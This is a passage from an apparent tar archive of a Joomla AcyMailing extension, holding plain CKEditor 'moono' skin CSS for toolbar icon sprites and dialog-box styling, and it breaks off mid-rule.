.cke_panel_grouptitle{filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.cke_button__bold_icon {background: url(icons.png) no-repeat 0 -0px !important;}.cke_button__italic_icon {background: url(icons.png) no-repeat 0 -24px !important;}.cke_button__strike_icon {background: url(icons.png) no-repeat 0 -48px !important;}.cke_button__subscript_icon {background: url(icons.png) no-repeat 0 -72px !important;}.cke_button__superscript_icon {background: url(icons.png) no-repeat 0 -96px !important;}.cke_button__underline_icon {background: url(icons.png) no-repeat 0 -120px !important;}.cke_button__blockquote_icon {background: url(icons.png) no-repeat 0 -144px !important;}.cke_rtl .cke_button__copy_icon, .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -168px !important;}.cke_ltr .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -192px !important;}.cke_rtl .cke_button__cut_icon, .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -216px !important;}.cke_ltr .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -240px !important;}.cke_rtl .cke_button__paste_icon, .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -264px !important;}.cke_ltr .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -288px !important;}.cke_button__bgcolor_icon {background: url(icons.png) no-repeat 0 -312px !important;}.cke_button__textcolor_icon {background: url(icons.png) no-repeat 0 -336px !important;}.cke_button__horizontalrule_icon {background: url(icons.png) no-repeat 0 -360px !important;}.cke_button__image_icon {background: url(icons.png) no-repeat 0 -384px !important;}.cke_rtl .cke_button__indent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -408px !important;}.cke_ltr .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -432px !important;}.cke_rtl .cke_button__outdent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -456px !important;}.cke_ltr .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -480px !important;}.cke_button__justifyblock_icon {background: url(icons.png) no-repeat 0 -504px !important;}.cke_button__justifycenter_icon {background: url(icons.png) no-repeat 0 -528px !important;}.cke_button__justifyleft_icon {background: url(icons.png) no-repeat 0 -552px !important;}.cke_button__justifyright_icon {background: url(icons.png) no-repeat 0 -576px !important;}.cke_rtl .cke_button__anchor_icon, .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -600px !important;}.cke_ltr .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -624px !important;}.cke_button__link_icon {background: url(icons.png) no-repeat 0 -648px !important;}.cke_button__unlink_icon {background: url(icons.png) no-repeat 0 -672px !important;}.cke_rtl .cke_button__bulletedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -696px !important;}.cke_ltr .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -720px !important;}.cke_rtl .cke_button__numberedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -744px !important;}.cke_ltr .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -768px !important;}.cke_button__maximize_icon {background: url(icons.png) no-repeat 0 -792px !important;}.cke_rtl .cke_button__pastefromword_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -816px !important;}.cke_ltr .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -840px !important;}.cke_rtl .cke_button__pastetext_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -864px !important;}.cke_ltr .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -888px !important;}.cke_button__removeformat_icon {background: url(icons.png) no-repeat 0 -912px !important;}.cke_rtl .cke_button__source_icon, .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons.png) no-repeat 0 -936px !important;}.cke_ltr .cke_button__source_icon {background: url(icons.png) no-repeat 0 -960px !important;}.cke_button__table_icon {background: url(icons.png) no-repeat 0 -984px !important;}.cke_rtl .cke_button__redo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1008px !important;}.cke_ltr .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1032px !important;}.cke_rtl .cke_button__undo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1056px !important;}.cke_ltr .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1080px !important;}.cke_rtl .cke_button__sourcedialog_icon, .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1104px !important;}.cke_ltr .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1128px !important;}.cke_hidpi .cke_button__bold_icon {background: url(icons_hidpi.png) no-repeat 0 -0px !important;background-size: 16px !important;}.cke_hidpi .cke_button__italic_icon {background: url(icons_hidpi.png) no-repeat 0 -24px !important;background-size: 16px !important;}.cke_hidpi .cke_button__strike_icon {background: url(icons_hidpi.png) no-repeat 0 -48px !important;background-size: 16px !important;}.cke_hidpi .cke_button__subscript_icon {background: url(icons_hidpi.png) no-repeat 0 -72px !important;background-size: 16px !important;}.cke_hidpi .cke_button__superscript_icon {background: url(icons_hidpi.png) no-repeat 0 -96px !important;background-size: 16px !important;}.cke_hidpi .cke_button__underline_icon {background: url(icons_hidpi.png) no-repeat 0 -120px !important;background-size: 16px !important;}.cke_hidpi .cke_button__blockquote_icon {background: url(icons_hidpi.png) no-repeat 0 -144px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__copy_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -168px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__copy_icon,.cke_ltr.cke_hidpi .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -192px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__cut_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -216px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__cut_icon,.cke_ltr.cke_hidpi .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -240px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__paste_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -264px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__paste_icon,.cke_ltr.cke_hidpi .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -288px !important;background-size: 16px !important;}.cke_hidpi .cke_button__bgcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -312px !important;background-size: 16px !important;}.cke_hidpi .cke_button__textcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -336px !important;background-size: 16px !important;}.cke_hidpi .cke_button__horizontalrule_icon {background: url(icons_hidpi.png) no-repeat 0 -360px !important;background-size: 16px !important;}.cke_hidpi .cke_button__image_icon {background: url(icons_hidpi.png) no-repeat 0 -384px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__indent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -408px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__indent_icon,.cke_ltr.cke_hidpi .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -432px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__outdent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -456px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__outdent_icon,.cke_ltr.cke_hidpi .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -480px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyblock_icon {background: url(icons_hidpi.png) no-repeat 0 -504px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifycenter_icon {background: url(icons_hidpi.png) no-repeat 0 -528px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyleft_icon {background: url(icons_hidpi.png) no-repeat 0 -552px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyright_icon {background: url(icons_hidpi.png) no-repeat 0 -576px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__anchor_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -600px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__anchor_icon,.cke_ltr.cke_hidpi .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -624px !important;background-size: 16px !important;}.cke_hidpi .cke_button__link_icon {background: url(icons_hidpi.png) no-repeat 0 -648px !important;background-size: 16px !important;}.cke_hidpi .cke_button__unlink_icon {background: url(icons_hidpi.png) no-repeat 0 -672px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__bulletedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -696px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__bulletedlist_icon,.cke_ltr.cke_hidpi .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -720px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__numberedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -744px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__numberedlist_icon,.cke_ltr.cke_hidpi .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -768px !important;background-size: 16px !important;}.cke_hidpi .cke_button__maximize_icon {background: url(icons_hidpi.png) no-repeat 0 -792px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastefromword_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -816px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastefromword_icon,.cke_ltr.cke_hidpi .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -840px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastetext_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -864px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastetext_icon,.cke_ltr.cke_hidpi .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -888px !important;background-size: 16px !important;}.cke_hidpi .cke_button__removeformat_icon {background: url(icons_hidpi.png) no-repeat 0 -912px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__source_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -936px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__source_icon,.cke_ltr.cke_hidpi .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -960px !important;background-size: 16px !important;}.cke_hidpi .cke_button__table_icon {background: url(icons_hidpi.png) no-repeat 0 -984px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__redo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1008px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__redo_icon,.cke_ltr.cke_hidpi .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1032px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__undo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1056px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__undo_icon,.cke_ltr.cke_hidpi .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1080px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__sourcedialog_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1104px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__sourcedialog_icon,.cke_ltr.cke_hidpi .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1128px !important;background-size: 16px !important;}
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/dialog_iequirks.css000060400000040530152455305310030227 0ustar00.cke_dialog{visibility:visible}.cke_dialog_body{z-index:1;background:#eaeaea;border:1px solid #b2b2b2;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_dialog strong{font-weight:bold}.cke_dialog_title{font-weight:bold;font-size:13px;cursor:move;position:relative;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #999;padding:6px 10px;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_dialog_contents{background-color:#fff;overflow:auto;padding:15px 10px 5px 10px;margin-top:30px;border-top:1px solid #bfbfbf;-moz-border-radius:0 0 3px 3px;-webkit-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px}.cke_dialog_contents_body{overflow:auto;padding:17px 10px 5px 10px;margin-top:22px}.cke_dialog_footer{text-align:right;position:relative;border:0;outline:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;-moz-border-radius:0 0 2px 2px;-webkit-border-radius:0 0 2px 2px;border-radius:0 0 2px 2px;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_rtl .cke_dialog_footer{text-align:left}.cke_hc .cke_dialog_footer{outline:0;border-top:1px solid #fff}.cke_dialog .cke_resizer{margin-top:22px}.cke_dialog .cke_resizer_rtl{margin-left:5px}.cke_dialog .cke_resizer_ltr{margin-right:5px}.cke_dialog_tabs{height:24px;display:inline-block;margin:5px 0 0;position:absolute;z-index:2;left:10px}.cke_rtl .cke_dialog_tabs{right:10px}a.cke_dialog_tab{height:16px;padding:4px 8px;margin-right:3px;display:inline-block;cursor:pointer;line-height:16px;outline:0;color:#595959;border:1px solid #bfbfbf;-moz-border-radius:3px 3px 0 0;-webkit-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0;background:#d4d4d4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fafafa),to(#ededed));background-image:-moz-linear-gradient(top,#fafafa,#ededed);background-image:-webkit-linear-gradient(top,#fafafa,#ededed);background-image:-o-linear-gradient(top,#fafafa,#ededed);background-image:-ms-linear-gradient(top,#fafafa,#ededed);background-image:linear-gradient(top,#fafafa,#ededed);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#fafafa',endColorstr='#ededed')}.cke_rtl a.cke_dialog_tab{margin-right:0;margin-left:3px}a.cke_dialog_tab:hover{background:#ebebeb;background:-moz-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ebebeb),color-stop(100%,#dfdfdf));background:-webkit-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-o-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-ms-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:linear-gradient(to bottom,#ebebeb 0,#dfdfdf 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ebebeb',endColorstr='#dfdfdf',GradientType=0)}a.cke_dialog_tab_selected{background:#fff;color:#383838;border-bottom-color:#fff;cursor:default;filter:none}a.cke_dialog_tab_selected:hover{background:#ededed;background:-moz-linear-gradient(top,#ededed 0,#fff 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ededed),color-stop(100%,#fff));background:-webkit-linear-gradient(top,#ededed 0,#fff 100%);background:-o-linear-gradient(top,#ededed 0,#fff 100%);background:-ms-linear-gradient(top,#ededed 0,#fff 100%);background:linear-gradient(to bottom,#ededed 0,#fff 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ededed',endColorstr='#ffffff',GradientType=0)}.cke_hc a.cke_dialog_tab:hover,.cke_hc a.cke_dialog_tab_selected{border:3px solid;padding:2px 6px}a.cke_dialog_tab_disabled{color:#bababa;cursor:default}.cke_single_page .cke_dialog_tabs{display:none}.cke_single_page .cke_dialog_contents{padding-top:5px;margin-top:0;border-top:0}.cke_dialog_close_button{background-image:url(images/close.png);background-repeat:no-repeat;background-position:50%;position:absolute;cursor:pointer;text-align:center;height:20px;width:20px;top:5px;z-index:5;opacity:.8;filter:alpha(opacity = 80)}.cke_dialog_close_button:hover{opacity:1;filter:alpha(opacity = 100)}.cke_hidpi .cke_dialog_close_button{background-image:url(images/hidpi/close.png);background-size:16px}.cke_dialog_close_button span{display:none}.cke_hc .cke_dialog_close_button span{display:inline;cursor:pointer;font-weight:bold;position:relative;top:3px}.cke_ltr .cke_dialog_close_button{right:5px}.cke_rtl .cke_dialog_close_button{left:6px}.cke_dialog_close_button{top:4px}div.cke_disabled .cke_dialog_ui_labeled_content div *{background-color:#ddd;cursor:default}.cke_dialog_ui_vbox table,.cke_dialog_ui_hbox table{margin:auto}.cke_dialog_ui_vbox_child{padding:5px 0}.cke_dialog_ui_hbox{width:100%}.cke_dialog_ui_hbox_first,.cke_dialog_ui_hbox_child,.cke_dialog_ui_hbox_last{vertical-align:top}.cke_ltr .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_ui_hbox_child{padding-right:10px}.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_child{padding-left:10px}.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-right:5px}.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-left:5px;padding-right:0}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:1px solid}textarea.cke_dialog_ui_input_textarea{overflow:auto;resize:none}input.cke_dialog_ui_input_text,input.cke_dialog_ui_input_password,textarea.cke_dialog_ui_input_textarea{background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:4px 6px;outline:0;width:100%;*width:95%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}input.cke_dialog_ui_input_text:hover,input.cke_dialog_ui_input_password:hover,textarea.cke_dialog_ui_input_textarea:hover{border:1px solid #aeb3b9;border-top-color:#a0a6ad}input.cke_dialog_ui_input_text:focus,input.cke_dialog_ui_input_password:focus,textarea.cke_dialog_ui_input_textarea:focus,select.cke_dialog_ui_input_select:focus{outline:0;border:1px solid #139ff7;border-top-color:#1392e9}a.cke_dialog_ui_button{display:inline-block;*display:inline;*zoom:1;padding:4px 0;margin:0;text-align:center;color:#333;vertical-align:middle;cursor:pointer;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}span.cke_dialog_ui_button{padding:0 10px}a.cke_dialog_ui_button:hover{border-color:#9e9e9e;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}a.cke_dialog_ui_button:focus,a.cke_dialog_ui_button:active{border-color:#969696;outline:0;-moz-box-shadow:0 0 6px rgba(0,0,0,.4) inset;-webkit-box-shadow:0 0 6px rgba(0,0,0,.4) inset;box-shadow:0 0 6px rgba(0,0,0,.4) inset}.cke_hc a.cke_dialog_ui_button:hover,.cke_hc a.cke_dialog_ui_button:focus,.cke_hc a.cke_dialog_ui_button:active{border:3px solid;padding-top:1px;padding-bottom:1px}.cke_hc a.cke_dialog_ui_button:hover span,.cke_hc a.cke_dialog_ui_button:focus span,.cke_hc a.cke_dialog_ui_button:active span{padding-left:10px;padding-right:10px}.cke_dialog_footer_buttons a.cke_dialog_ui_button span{color:inherit;font-size:12px;font-weight:bold;line-height:18px;padding:0 12px}a.cke_dialog_ui_button_ok{color:#fff;text-shadow:0 -1px 0 #55830c;border-color:#62a60a #62a60a #4d9200;background:#69b10b;background-image:-webkit-gradient(linear,0 0,0 100%,from(#9ad717),to(#69b10b));background-image:-webkit-linear-gradient(top,#9ad717,#69b10b);background-image:-o-linear-gradient(top,#9ad717,#69b10b);background-image:linear-gradient(to bottom,#9ad717,#69b10b);background-image:-moz-linear-gradient(top,#9ad717,#69b10b);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#9ad717',endColorstr='#69b10b')}a.cke_dialog_ui_button_ok:hover{border-color:#5b9909 #5b9909 #478500;background:#88be14;background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#88be14),color-stop(100%,#5d9c0a));background:-webkit-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:-o-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:linear-gradient(to bottom,#88be14 0,#5d9c0a 100%);background:-moz-linear-gradient(top,#88be14 0,#5d9c0a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#88be14',endColorstr='#5d9c0a',GradientType=0)}a.cke_dialog_ui_button span{text-shadow:0 1px 0 #fff}a.cke_dialog_ui_button_ok span{text-shadow:0 -1px 0 #55830c}span.cke_dialog_ui_button{cursor:pointer}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active,a.cke_dialog_ui_button_cancel:focus,a.cke_dialog_ui_button_cancel:active{border-width:2px;padding:3px 0}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active{border-color:#568c0a}a.cke_dialog_ui_button_ok:focus span,a.cke_dialog_ui_button_ok:active span,a.cke_dialog_ui_button_cancel:focus span,a.cke_dialog_ui_button_cancel:active span{padding:0 11px}.cke_dialog_footer_buttons{display:inline-table;margin:5px;width:auto;position:relative;vertical-align:middle}div.cke_dialog_ui_input_select{display:table}select.cke_dialog_ui_input_select{height:25px;line-height:25px;background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:3px 3px 3px 6px;outline:0;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}.cke_dialog_ui_input_file{width:100%;height:25px}.cke_hc .cke_dialog_ui_labeled_content input:focus,.cke_hc .cke_dialog_ui_labeled_content select:focus,.cke_hc .cke_dialog_ui_labeled_content textarea:focus{outline:1px dotted}.cke_dialog .cke_dark_background{background-color:#dedede}.cke_dialog .cke_light_background{background-color:#ebebeb}.cke_dialog .cke_centered{text-align:center}.cke_dialog a.cke_btn_reset{float:right;background:url(images/refresh.png) top left no-repeat;width:16px;height:16px;border:1px none;font-size:1px}.cke_hidpi .cke_dialog a.cke_btn_reset{background-size:16px;background-image:url(images/hidpi/refresh.png)}.cke_rtl .cke_dialog a.cke_btn_reset{float:left}.cke_dialog a.cke_btn_locked,.cke_dialog a.cke_btn_unlocked{float:left;width:16px;height:16px;background-repeat:no-repeat;border:none 1px;font-size:1px}.cke_dialog a.cke_btn_locked .cke_icon{display:none}.cke_rtl .cke_dialog a.cke_btn_locked,.cke_rtl .cke_dialog a.cke_btn_unlocked{float:right}.cke_dialog a.cke_btn_locked{background-image:url(images/lock.png)}.cke_dialog a.cke_btn_unlocked{background-image:url(images/lock-open.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked,.cke_hidpi .cke_dialog a.cke_btn_locked{background-size:16px}.cke_hidpi .cke_dialog a.cke_btn_locked{background-image:url(images/hidpi/lock.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked{background-image:url(images/hidpi/lock-open.png)}.cke_dialog .cke_btn_over{border:outset 1px;cursor:pointer}.cke_dialog .ImagePreviewBox{border:2px ridge black;overflow:scroll;height:200px;width:300px;padding:2px;background-color:white}.cke_dialog .ImagePreviewBox table td{white-space:normal}.cke_dialog .ImagePreviewLoader{position:absolute;white-space:normal;overflow:hidden;height:160px;width:230px;margin:2px;padding:2px;opacity:.9;filter:alpha(opacity = 90);background-color:#e4e4e4}.cke_dialog .FlashPreviewBox{white-space:normal;border:2px ridge black;overflow:auto;height:160px;width:390px;padding:2px;background-color:white}.cke_dialog .cke_pastetext{width:346px;height:170px}.cke_dialog .cke_pastetext textarea{width:340px;height:170px;resize:none}.cke_dialog iframe.cke_pasteframe{width:346px;height:130px;background-color:white;border:1px solid #aeb3b9;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.cke_dialog .cke_hand{cursor:pointer}.cke_disabled{color:#a0a0a0}.cke_dialog_body .cke_label{display:none}.cke_dialog_body label{display:inline;margin-bottom:auto;cursor:default}.cke_dialog_body label.cke_required{font-weight:bold}a.cke_smile{overflow:hidden;display:block;text-align:center;padding:.3em 0}a.cke_smile img{vertical-align:middle}a.cke_specialchar{cursor:inherit;display:block;height:1.25em;padding:.2em .3em;text-align:center}a.cke_smile,a.cke_specialchar{border:1px solid transparent}a.cke_smile:hover,a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:hover,a.cke_specialchar:focus,a.cke_specialchar:active{background:#fff;outline:0}a.cke_smile:hover,a.cke_specialchar:hover{border-color:#888}a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:focus,a.cke_specialchar:active{border-color:#139ff7}.cke_dialog_contents a.colorChooser{display:block;margin-top:6px;margin-left:10px;width:80px}.cke_rtl .cke_dialog_contents a.colorChooser{margin-right:10px}.cke_dialog_ui_checkbox_input:focus,.cke_dialog_ui_radio_input:focus,.cke_btn_over{outline:1px dotted #696969}.cke_iframe_shim{display:block;position:absolute;top:0;left:0;z-index:-1;filter:alpha(opacity = 0);width:100%;height:100%}.cke_rtl input.cke_dialog_ui_input_text,.cke_rtl input.cke_dialog_ui_input_password{padding-right:2px}.cke_rtl div.cke_dialog_ui_input_text,.cke_rtl 